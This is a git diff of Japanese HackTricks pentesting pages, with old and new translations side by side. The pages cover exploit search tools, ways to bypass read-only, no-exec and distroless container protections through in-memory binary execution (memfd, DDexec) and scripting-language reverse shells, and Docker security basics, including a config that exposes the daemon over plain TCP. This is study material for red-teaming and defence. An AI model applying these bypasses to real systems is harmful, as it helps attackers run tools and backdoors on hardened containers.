<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**で**ゼロからヒーローまでAWSハッキングを学ぶ**!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)や[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)を**フォロー**する
|
||||
- **ハッキングトリックを共有するためにPRを** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに提出する
|
||||
* **HackTricks で企業を宣伝したい**または **HackTricks をPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォロー**する
|
||||
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって**パワードされたワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセス:
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
### ブラウザ
|
||||
|
||||
常に「google」などで検索してください:**\<service_name> \[version] exploit**
|
||||
常に "google" や他の検索エンジンで検索してください: **\<service\_name> \[version] exploit**
|
||||
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)から**shodanの脆弱性検索**を試してみてください。
|
||||
また、[https://exploits.shodan.io/](https://exploits.shodan.io)の **shodan** **exploit search** も試してみてください。
|
||||
|
||||
### Searchsploit
|
||||
|
||||
**コンソールからexploitdbのサービスの脆弱性を検索**するために便利です。
|
||||
**exploitdbからコンソールでサービスの脆弱性を検索**するために便利です。
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -54,16 +54,16 @@ msf> search platform:windows port:135 target:XP type:exploit
|
|||
|
||||
### Vulners
|
||||
|
||||
Vulners データベースでも検索できます: [https://vulners.com/](https://vulners.com)
|
||||
vulners データベースでも検索できます: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com)
|
||||
これは他のデータベースで脆弱性を検索します: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** します。\
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) を使用して、世界で最も高度なコミュニティツールによって強化された **ワークフローを簡単に構築** および **自動化** してください。\
|
||||
今すぐアクセス:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -74,10 +74,10 @@ Vulners データベースでも検索できます: [https://vulners.com/](https
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
* **HackTricks で企業を宣伝** したい場合や **HackTricks をPDFでダウンロード** したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS & HackTricksのグッズ**](https://peass.creator-spring.com) を入手してください
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つけてください
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングトリックを共有してください。
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live) をフォローしてください。
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出することで、あなたのハッキングテクニックを共有してください。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,22 +1,22 @@
|
|||
# ファイルシステムの保護をバイパスする:読み取り専用 / 実行不可 / Distroless
|
||||
# ファイルシステム保護のバイパス:読み取り専用 / 実行不可 / Distroless
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝**したい場合や**HackTricksをPDFでダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手してください
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションをご覧ください
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
- **HackTricks**と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks)のGitHubリポジトリにPRを提出して、あなたのハッキングテクニックを共有してください。
|
||||
- [**公式PEASS&HackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[telegramグループ](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローする
|
||||
- **Hackingトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味がある方や**解読不能なものをハック**したい方 - **採用中です!**(_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味があり、**解読不能なものをハック**したい場合は、**採用中**です!(_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -45,17 +45,17 @@ securityContext:
|
|||
command: ["sh", "-c", "while true; do sleep 1000; done"]
|
||||
```
|
||||
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能のままであるため、ディスクに何も書き込めないというわけではありません。ただし、このフォルダは**実行不可保護**でマウントされているため、ここにバイナリをダウンロードしても**実行できません**。
|
||||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能のままであるため、ディスクに書き込むことができないというのは偽物です。ただし、このフォルダは**実行不可保護**でマウントされるため、ここにバイナリをダウンロードしても**実行できません**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
レッドチームの観点からすると、これは**バイナリをダウンロードして実行するのが複雑**になります(バックドアや`kubectl`のような既存のシステムにないバイナリ)。
|
||||
レッドチームの観点からすると、これはバイナリ(バックドアや`kubectl`のような列挙ツールなど)を**ダウンロードして実行するのが複雑**になります。
|
||||
{% endhint %}
|
||||
|
||||
## 最も簡単なバイパス:スクリプト
|
||||
|
||||
バイナリを言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`が存在する場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。
|
||||
バイナリと言及しましたが、インタプリタがマシン内にある限り、**シェルスクリプト**(`sh`が存在する場合)や**Pythonスクリプト**(`python`がインストールされている場合)など、**任意のスクリプトを実行**できます。
|
||||
|
||||
ただし、これだけではバイナリバックドアや実行する必要がある他のバイナリツールを実行するのには十分ではありません。
|
||||
ただし、これだけではバイナリバックドアや他の実行する必要があるバイナリツールを実行するのには十分ではありません。
|
||||
|
||||
## メモリバイパス
|
||||
|
||||
|
@ -63,21 +63,19 @@ securityContext:
|
|||
|
||||
### FD + execシステムコールバイパス
|
||||
|
||||
**Python**、**Perl**、**Ruby**などの強力なスクリプトエンジンがマシン内にある場合、メモリにバイナリをダウンロードして実行し、それを保護されないメモリファイルディスクリプタ(`create_memfd`システムコール)に保存し、その後**`exec`システムコール**を呼び出して**fdを実行するファイル**として指定します。
|
||||
**Python**、**Perl**、**Ruby**などの強力なスクリプトエンジンがマシン内にある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタに保存し(`create_memfd`システムコール)、これらの保護によって保護されないため、**fdをファイルとして実行する**ように**`exec`システムコール**を呼び出すことができます。
|
||||
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、バイナリが**デコードおよび解凍された**スクリプトが生成され、`create_memfd`システムコールを呼び出して作成された**fd**にバイナリを格納し、それを実行する**exec**システムコールが呼び出されます。
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、バイナリが**デコードおよび解凍された**スクリプトが生成され、`create_memfd`システムコールを呼び出して作成された**fd**にバイナリを格納し、それを実行する**`exec`システムコール**への呼び出し手順が含まれます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
これは、PHPやNodeなどの他のスクリプト言語では**スクリプトから生のシステムコールを呼び出すデフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを格納するメモリfd**を作成することができません。
|
||||
これは、PHPやNodeなどの他のスクリプト言語では、スクリプトから**生のシステムコール**を呼び出す**デフォルトの方法**がないため、`create_memfd`を呼び出して**バイナリを格納するためのメモリfd**を作成することができないため、これは機能しません。
|
||||
|
||||
また、`/dev/shm`内のファイルで**通常のfd**を作成しても機能しないため、**実行不可保護**が適用されるため実行できません。
|
||||
さらに、`/dev/shm`内のファイルで**通常のfd**を作成しても、**実行不可保護**が適用されるため、実行できません。
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**`/proc/self/mem`**を上書きすることで、**自分自身のプロセスのメモリを変更**する技術です。
|
||||
|
||||
したがって、プロセスが実行している**アセンブリコードを制御**することで、**シェルコード**を書き込み、プロセスを**任意のコードを実行**するように「変異」させることができます。
|
||||
[**DDexec / EverythingExec**](https://github.com/arget13/DDexec)は、**`/proc/self/mem`**を上書きすることで、**自分自身のプロセスのメモリを変更**する技術であり、**プロセスが実行しているアセンブリコード**を制御することで、**シェルコード**を書き込み、プロセスを**任意のコードを実行**するように「変異」させることができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
**DDexec / EverythingExec**を使用すると、**自分自身のメモリから**自分自身の**シェルコード**または**任意のバイナリ**を**ロードして実行**できます。
|
||||
|
@ -106,22 +104,22 @@ Distrolessコンテナの目標は、**不要なコンポーネントを排除**
|
|||
|
||||
### リバースシェル
|
||||
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つかりません。これらは通常、システムで実行するものです。
|
||||
Distrolessコンテナでは、通常のシェルを取得するための`sh`や`bash`などが**見つからない**かもしれません。`ls`、`whoami`、`id`などのバイナリも見つけることはできません...通常システムで実行するものはすべて見つかりません。
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、通常どおりに**リバースシェル**を取得したり、システムを**列挙**することはできません。
|
||||
したがって、通常行うような**リバースシェル**の取得や**システムの列挙**はできません。
|
||||
{% endhint %}
|
||||
|
||||
ただし、侵害されたコンテナが例えばflask webを実行している場合、Pythonがインストールされているため、**Pythonリバースシェル**を取得できます。Nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
|
||||
|
||||
{% hint style="success" %}
|
||||
スクリプト言語を使用すると、言語の機能を使用してシステムを**列挙**できます。
|
||||
スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
|
||||
{% endhint %}
|
||||
|
||||
**`read-only/no-exec`**の保護がない場合、リバースシェルを悪用してファイルシステムに**バイナリを書き込み**、それらを**実行**することができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ただし、この種のコンテナでは通常、これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらをバイパス**することができます。
|
||||
{% endhint %}
|
||||
|
||||
**RCE脆弱性を悪用してスクリプト言語のリバースシェルを取得**し、[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)でメモリからバイナリを実行する方法の**例**を見つけることができます。
|
||||
|
|
|
@ -2,29 +2,29 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE(HackTricks AWS Red Team Expert)</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>でAWSハッキングをゼロからヒーローまで学ぶ</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>**htARTE(HackTricks AWS Red Team Expert)**でAWSハッキングをゼロからヒーローまで学ぶ</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>!</strong></a></summary>
|
||||
|
||||
HackTricksをサポートする他の方法:
|
||||
|
||||
- **HackTricksで企業を宣伝したい**または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を入手する
|
||||
- [**公式PEASS&HackTricksスワッグ**](https://peass.creator-spring.com)を手に入れる
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
|
||||
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)で**フォロー**する
|
||||
- **ハッキングトリックを共有するために** [**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出する
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も高度なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
## **基本的なDocker Engineセキュリティ**
|
||||
|
||||
**Docker Engine**は、Linuxカーネルの**Namespaces**と**Cgroups**を使用してコンテナを分離し、基本的なセキュリティレイヤーを提供します。**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**を介して追加の保護が提供され、コンテナの分離が強化されます。**認証プラグイン**を使用すると、ユーザーのアクションをさらに制限できます。
|
||||
**Docker Engine**はLinuxカーネルの**Namespaces**と**Cgroups**を使用してコンテナを分離し、基本的なセキュリティレイヤーを提供します。**Capabilities dropping**、**Seccomp**、**SELinux/AppArmor**を介して追加の保護が提供され、コンテナの分離が強化されます。**認証プラグイン**を使用すると、ユーザーのアクションをさらに制限できます。
|
||||
|
||||
![Dockerセキュリティ](https://sreeninet.files.wordpress.com/2016/03/dockersec1.png)
|
||||
|
||||
|
@ -32,15 +32,15 @@ HackTricksをサポートする他の方法:
|
|||
|
||||
Docker Engineは、Unixソケットを介してローカルでアクセスするか、HTTPを使用してリモートでアクセスできます。リモートアクセスの場合、機密性、整合性、および認証を確保するためにHTTPSと**TLS**を使用することが重要です。
|
||||
|
||||
デフォルトでは、Docker EngineはUnixソケットで`unix:///var/run/docker.sock`でリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケットで公開してください:
|
||||
デフォルトでは、Docker EngineはUnixソケットで`unix:///var/run/docker.sock`でリッスンします。Ubuntuシステムでは、Dockerの起動オプションは`/etc/default/docker`に定義されています。Docker APIとクライアントへのリモートアクセスを有効にするには、次の設定を追加してDockerデーモンをHTTPソケットで公開します:
|
||||
```bash
|
||||
DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
||||
sudo service docker restart
|
||||
```
|
||||
しかし、DockerデーモンをHTTP経由で公開することはセキュリティ上の懸念から推奨されていません。接続を安全にするためには、HTTPSを使用することが望ましいです。接続を保護するための主なアプローチは2つあります:
|
||||
ただし、DockerデーモンをHTTP経由で公開することはセキュリティ上の懸念があるため推奨されません。接続を安全にするためには、HTTPSを使用することがお勧めです。接続を保護するための主なアプローチは2つあります:
|
||||
|
||||
1. クライアントがサーバーの正体を確認します。
|
||||
2. クライアントとサーバーの両方がお互いの正体を相互認証します。
|
||||
1. クライアントがサーバーの正体を確認する。
|
||||
2. クライアントとサーバーがお互いの正体を相互認証する。
|
||||
|
||||
証明書はサーバーの正体を確認するために使用されます。両方の方法の詳細な例については、[**このガイド**](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)を参照してください。
|
||||
|
||||
|
@ -50,17 +50,17 @@ sudo service docker restart
|
|||
|
||||
* [**Docker Hub**](https://hub.docker.com): Dockerのパブリックレジストリサービス。
|
||||
* [**Docker Registry**](https://github.com/docker/distribution): ユーザーが独自のレジストリをホストできるオープンソースプロジェクト。
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を備えたDockerの商用レジストリオファリング。
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry): Dockerの商用レジストリオファリングで、ロールベースのユーザー認証とLDAPディレクトリサービスとの統合を提供しています。
|
||||
|
||||
### イメージスキャン
|
||||
|
||||
コンテナには、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのせいで**セキュリティの脆弱性**がある場合があります。Dockerは、コンテナのセキュリティスキャンを行い脆弱性をリストアップするプロジェクト**Nautilus**に取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較してセキュリティホールを特定することで機能します。
|
||||
コンテナには、ベースイメージまたはベースイメージの上にインストールされたソフトウェアのせいで**セキュリティの脆弱性**がある場合があります。Dockerは、コンテナのセキュリティスキャンを行い脆弱性をリストアップするプロジェクト**Nautilus**に取り組んでいます。Nautilusは、各コンテナイメージレイヤーを脆弱性リポジトリと比較してセキュリティホールを特定します。
|
||||
|
||||
詳細については、[**こちらを読んでください**](https://docs.docker.com/engine/scan/)。
|
||||
|
||||
* **`docker scan`**
|
||||
|
||||
**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、次のコマンドを実行してhello-worldイメージをスキャンできます:
|
||||
**`docker scan`**コマンドを使用すると、イメージ名またはIDを使用して既存のDockerイメージをスキャンできます。たとえば、次のコマンドを実行してhello-worldイメージをスキャンします:
|
||||
```bash
|
||||
docker scan hello-world
|
||||
|
||||
|
@ -94,7 +94,7 @@ Dockerイメージの署名は、コンテナで使用されるイメージの
|
|||
|
||||
- **Docker Content Trust** は、Notaryプロジェクトを利用し、The Update Framework (TUF) に基づいてイメージの署名を管理します。詳細については、[Notary](https://github.com/docker/notary) と [TUF](https://theupdateframework.github.io) を参照してください。
|
||||
- Dockerコンテンツ信頼を有効にするには、`export DOCKER_CONTENT_TRUST=1` を設定します。この機能は、Dockerバージョン1.10以降ではデフォルトでオフになっています。
|
||||
- この機能を有効にすると、署名されたイメージのみをダウンロードできます。最初のイメージプッシュでは、ルートとタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)にあります。
|
||||
- この機能を有効にすると、署名されたイメージのみをダウンロードできます。初回のイメージプッシュでは、ルートとタグ付けキーのパスフレーズを設定する必要があり、Dockerはセキュリティを強化するためにYubikeyもサポートしています。詳細は[こちら](https://blog.docker.com/2015/11/docker-content-trust-yubikey/)で確認できます。
|
||||
- コンテンツ信頼が有効な状態で署名されていないイメージを取得しようとすると、「最新の信頼データがありません」というエラーが発生します。
|
||||
- 最初以降のイメージプッシュでは、Dockerはイメージに署名するためにリポジトリキーのパスフレーズを要求します。
|
||||
|
||||
|
@ -106,11 +106,11 @@ Dockerホストを切り替える際には、操作を維持するためにル
|
|||
|
||||
***
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスしてください:
|
||||
[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks)を使用して、世界で最も先進的なコミュニティツールによって強化された**ワークフローを簡単に構築**および**自動化**します。\
|
||||
今すぐアクセスを取得:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
|
@ -122,13 +122,13 @@ Dockerホストを切り替える際には、操作を維持するためにル
|
|||
|
||||
#### メインプロセスの分離機能
|
||||
|
||||
コンテナ化された環境では、プロジェクトとそのプロセスを分離することがセキュリティとリソース管理にとって重要です。以下は、主要な概念の簡略化された説明です:
|
||||
コンテナ化された環境では、プロジェクトとそのプロセスを分離することがセキュリティとリソース管理にとって重要です。以下は、主要な概念の簡略化された説明です:
|
||||
|
||||
**ネームスペース**
|
||||
|
||||
* **目的**: プロセス、ネットワーク、およびファイルシステムなどのリソースの分離を確保します。特にDockerでは、ネームスペースがコンテナのプロセスをホストや他のコンテナから分離します。
|
||||
* **`unshare`の使用**: `unshare`コマンド(またはその基礎となるシスコール)は、新しいネームスペースを作成するために使用され、追加の分離レイヤーを提供します。ただし、Kubernetesはこれを元々ブロックしませんが、Dockerはします。
|
||||
* **制限**: 新しいネームスペースを作成することで、プロセスがホストのデフォルトのネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリにアクセスし、`nsenter`を使用します。
|
||||
* **制限**: 新しいネームスペースを作成することで、プロセスがホストのデフォルトのネームスペースに戻ることはできません。ホストのネームスペースに侵入するには、通常、ホストの`/proc`ディレクトリへのアクセスが必要で、`nsenter`を使用して入力します。
|
||||
|
||||
**コントロールグループ(CGroups)**
|
||||
|
||||
|
@ -138,18 +138,22 @@ Dockerホストを切り替える際には、操作を維持するためにル
|
|||
**機能の削除**
|
||||
|
||||
* **重要性**: プロセスの分離のための重要なセキュリティ機能です。
|
||||
* **機能**: 特定の機能をドロップすることで、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な機能がないと特権アクションを実行できません。シスコールは権限が不足しているため失敗します。
|
||||
* **機能**: 特定の機能をドロップすることにより、ルートプロセスが実行できるアクションを制限します。プロセスがルート権限で実行されていても、必要な機能がないと特権アクションを実行できなくなり、シスコールは権限が不足しているため失敗します。
|
||||
|
||||
これは、プロセスが他の機能をドロップした後の**残りの機能**です:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,cap_setuid,cap_setpcap,cap_net_bind_service,cap_net_raw,cap_sys_chroot,cap_mknod,cap_audit_write,cap_setfcap=ep
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
**Seccomp**
|
||||
### Seccomp
|
||||
|
||||
デフォルトでDockerに有効になっています。これにより、プロセスが呼び出すことができる**syscallsをさらに制限**するのに役立ちます。\
|
||||
デフォルトでDockerに有効化されています。プロセスが呼び出すことができる**syscallsをさらに制限**するのに役立ちます。\
|
||||
**デフォルトのDocker Seccompプロファイル**は[https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)で見つけることができます。
|
||||
|
||||
**AppArmor**
|
||||
### AppArmor
|
||||
|
||||
Dockerにはアクティベートできるテンプレートがあります: [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
|
@ -159,7 +163,7 @@ Dockerにはアクティベートできるテンプレートがあります: [ht
|
|||
|
||||
### Namespaces
|
||||
|
||||
**Namespaces**はLinuxカーネルの機能で、1つの**プロセス**セットが1つの**リソース**セットを**見る**一方、別の**プロセス**セットが**異なる**リソースセットを見るようにカーネルリソースを**分割**する機能です。この機能は、一連のリソースとプロセスに同じ名前空間があるが、それらの名前空間が異なるリソースを参照するように機能します。リソースは複数のスペースに存在する可能性があります。
|
||||
**Namespaces**はLinuxカーネルの機能で、1つの**プロセス**セットが1つの**リソース**セットを**見る**一方、別の**プロセス**セットが**異なる**リソースセットを見るようにカーネルリソースを**分割**する機能です。この機能は、一連のリソースとプロセスに同じ名前空間を持たせることで機能し、ただし、これらの名前空間は異なるリソースを参照します。リソースは複数のスペースに存在する可能性があります。
|
||||
|
||||
